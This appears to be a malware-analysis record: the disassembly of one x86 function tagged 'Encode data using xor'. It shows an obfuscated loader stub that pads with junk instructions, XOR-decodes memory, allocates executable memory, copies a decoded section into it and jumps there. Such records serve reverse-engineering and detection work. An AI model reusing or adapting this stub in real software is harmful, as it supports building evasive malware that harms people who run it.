Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xef0c6465
inc edx
sub esi, 0xb828c001
popal
mov esi, edx
and esi, edx
mov edx, 0
mov esi, ecx
sub ebx, edi
sub ebx, 0x65b2d172
sub ebx, 0x6676f3fc
mov eax, esi
mov ebx, edi
not edi
mov ebx, edi
mov ecx, eax
add ebx, edi
sub edi, 0x1d945ba3
add edx, 1
mov edi, ebx
or edi, edi
cmp edx, 0x1005188
jne 0xa789c3
add edi, 0xfbc11c65
add edi, ebx
add edx, edx
or edx, esi
mov esi, 0xa78796
mov eax, 0x2c79eb9d
sub ebx, eax
sub eax, 0x2010839a
mov ecx, 0xa7898a
add ebx, 0x1620336
add edx, 0x8b5642c1
mov edi, dword [esi]
mov eax, 0x287cf8f2
add ebx, 0xbee6d483
mov eax, ebx
and edi, 0xff
mov ebx, 0x3282fbcd
add edx, 1
add eax, 0x215240d0
xor dword [ecx], edi
mov eax, edx
and eax, edx
inc ecx
not edx
add edx, 0xbd772663
mov ebx, 0x58f09773
add esi, 1
mov ebx, 0x473f2305
not ebx
add ebx, 0xb6f37d13
cmp ecx, entry0
jl 0xa78a2a
mov eax, 0xc80fe0c8
or edx, ebx
or eax, edx
inc ebx
mov eax, 0x8278c143
mov ebx, 0xa62bf2ff
add edx, edx
mov esi, 0xa7898e
sub ecx, 0x687e34b0
add edi, 0xbff5af4
mov esi, dword [esi]
add edi, 0x1e27be4c
mov ebx, ecx
add edi, 0x5d871059
mov esi, dword [esi]
dec edi
add edx, 0x30a12d74
add ebx, 0x42b5fa7
push esi
mov ebx, 0xfefdeda1
or edi, edi
add edi, 0xb0f4e79d
mov esi, 0xa7898a
or edx, edx
sub ecx, edi
sub edi, edx
mov esi, dword [esi]
not edi
add ebx, ebx
mov esi, dword [esi]
not ebx
sub edx, edi
push 0xa78992
mov ebx, 0x812bbab7
mov edi, ecx
and edx, ebx
call esi
mov edi, 0x65e53fad
add ecx, 0xba546738
mov esi, dword [esp]
add esp, 4
sub edx, ecx
mov edi, 0xe89bf395
sub ebx, 0x96dfe81d
push 0xa7899f
and edx, edx
add edi, 0xcdf6f5de
push eax
sub edx, edi
mov ecx, edx
add ecx, edx
call esi
add edx, ebx
mov ebx, edi
push 0x40
add ecx, ebx
mov edi, 0x3eebe7fb
add edi, 0xfe78c309
push 0x3000
add ebx, 1
sub edx, ecx
push 0x20000ccc
add ebx, ebx
not ebx
sub ebx, 0x8b8e9bef
sub esp, 4
mov dword [esp], 0
sub ecx, 0x81f1c86a
add edi, 0xaec95008
call eax
sub edx, 0x20296f4d
add ecx, 0xbc0623c0
not edx
add eax, 0x20000c15
mov ebx, edx
mov ecx, edi
mov edi, 0x7cef6d9f
mov esi, 0x46064942
mov edi, 0x967109ab
sub edi, edx
mov dword [eax], esi
or ecx, ebx
sub edi, edx
dec ecx
mov esi, dword [eax]
mov edx, edi
and edx, ebx
cmp esi, 0x46064942
je 0xa78bc1
mov eax, 0
mov ecx, dword [eax]
add ebx, 0x4c6c6e8c
add ecx, 0x8480cb21
add ecx, 0xc8447646
inc ecx
add ebx, ebx
or edx, esi
sub esi, edx
sub esi, edx
mov eax, section..reltc
not edx
add esi, 0x1ca0482a
sub edx, 0x861b7948
mov edi, 0xa78795
add edx, 1
mov esi, 0x268ed092
sub esi, 0xc2efd433
mov ecx, 0
add edx, edx
sub edx, esi
dec edx
mov ebx, 0xa78796
or edx, edx
or edx, esi
not edx
lea ebx, [ebx + ecx]
inc edx
not esi
mov edx, esi
mov ebx, dword [ebx]
inc esi
sub esi, edx
mov edx, esi
and ebx, 0xff
add esi, esi
and edx, esi
add ecx, 1
or esi, esi
sub edx, esi
cmp ecx, 0x1f4
jne 0xa78c4a
mov ecx, 0
mov esi, edx
mov edx, esi
add esi, 0x4a95a1ae
or edx, esi
dec esi
add edx, esi
xor dword [eax], ebx
or edx, edx
inc edx
sub edx, esi
add eax, 2
mov edx, 0x64a47cfd
mov esi, 0x79f27e20
sub edx, esi
cmp eax, edi
jl 0xa78c0f
sub edx, esi
inc esi
sub edx, 1
mov esi, edx
inc edx
mov ecx, section..reltc
mov esi, 0x17dc1d99
inc edi
mov esi, 0x1c89c642
mov edx, section..reltc
mov edi, esi
not edi
mov ebx, 0xa78795
add edi, 1
or edi, edi
mov eax, 0
or esi, esi
and esi, esi
add edi, edi
mov al, byte [edx]
sub edi, 0x1e2d1b3f
sub edi, 0xd6bcddc8
mov esi, 0xb16f9264
mov byte [ecx], al
or esi, edi
add edi, 1
add edi, 0xba3c562f
inc ecx
dec esi
inc edi
add edx, 2
add esi, edi
add esi, edi
cmp edx, ebx
jle 0xa78cb7
add esi, 1
sub edi, esi
add edx, 0xa93258c9
not edx
push 0x8dc6a0
mov edx, 0xb649a50f
sub esi, 0x74d84c78
ret